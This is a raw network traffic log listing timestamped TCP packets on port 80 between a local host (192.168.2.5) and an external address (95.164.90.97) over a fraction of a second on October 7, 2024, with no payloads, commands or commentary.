Oct 7, 2024 21:18:37.132961035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132972002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132983923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132994890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.133006096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.133012056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.133012056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.133068085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.133068085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.148416996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.148463964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.148518085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.148529053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.148575068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.148577929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.148587942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.148597956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.148607016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.148626089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.148698092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149241924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149295092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149303913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149382114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149405003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149414062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149422884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149446964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149493933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149569988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149580956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149590015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149599075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149614096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149646044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149646044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149712086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149722099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149730921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149739981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.149755001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149775028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.149775028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.188875914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.188894987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.188905954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.188961983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.188961983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.189063072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.189075947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.189085960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.189106941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.189132929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.189160109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.189160109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.210999966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211028099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211039066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211071968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211112022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211180925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211194038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211205006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211218119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211229086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211241007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211291075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211419106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211437941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211451054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211463928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211476088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211482048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211505890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211538076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211654902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211666107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211735964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211793900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211807013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211817026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211822033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211827993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211833000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211838007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211844921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.211872101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.211946964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212116003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212155104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212166071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212215900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212215900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212302923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212313890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212326050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212348938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212368011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212435007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212510109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212517977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212531090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212541103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212553024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212563992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212589025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212762117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212769032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212783098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212829113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212829113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212937117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212949038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212960005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212971926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212984085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.212984085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.212994099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213028908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213336945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213349104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213360071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213370085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213381052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213388920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213392019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213403940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213407993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213416100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213426113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213440895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213501930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213570118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213578939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213589907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213614941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213717937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213804007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213815928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213825941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213836908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213850021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213862896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213869095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213871956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213871956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213879108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213888884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213900089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213901997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213912010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213913918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213941097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.213958979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.213959932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214175940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214344978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214355946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214366913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214384079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214449883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214449883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214493036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214504004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214514971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214592934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214611053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214623928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214633942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214644909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214653969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214658976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214667082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214678049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214679003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214689016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214692116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214704990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214715958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214716911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.214742899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.214828968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.215116978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215128899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215174913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.215176105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.215270996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215284109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215293884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215303898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215320110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215332031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215332985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.215343952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215357065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.215368032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.215369940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.215410948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.215410948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.230782032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.230834007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.230849028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.230868101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.230884075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.230895042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.230973005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.230981112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.230983973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.230995893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231038094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.231038094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.231663942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231709003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231719017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231753111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.231753111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.231817007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231827021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231837034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231847048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231869936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.231905937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.231977940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.231993914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.232002974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.232012987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.232040882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.232207060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.232218027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.232227087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.232234001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.232248068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.232301950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.271011114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271023035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271032095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271043062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271099091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271109104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271116018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.271116018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.271120071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271142960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.271167994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.271171093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.271367073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.293441057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293504953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293514967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293521881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.293551922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.293556929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293567896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293581963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.293595076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.293648005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293659925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293697119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.293778896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293791056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293801069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293812037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.293828964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.293862104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294037104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294075012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294085026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294131041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294138908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294150114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294187069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294194937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294209957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294228077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294240952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294341087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294351101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294359922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294401884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294436932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294446945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294493914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294538975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294548988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294559002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294568062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294578075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294579029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294611931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294637918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294810057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294821024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294830084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294841051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294852018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.294857025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294883013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.294892073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.295053005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295063972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295104027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.295115948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.295784950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295794010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295804024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295815945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295825005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295835018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295842886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295851946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.295855999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295866966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295876980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295903921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.295936108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295952082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295960903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295965910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.295972109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.295972109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295984983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.295994997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296000004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296005011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296025991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296027899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296037912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296049118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296049118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296066046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296086073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296160936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296171904 CEST	80	49810	95.164.90.97	192.168.2.5
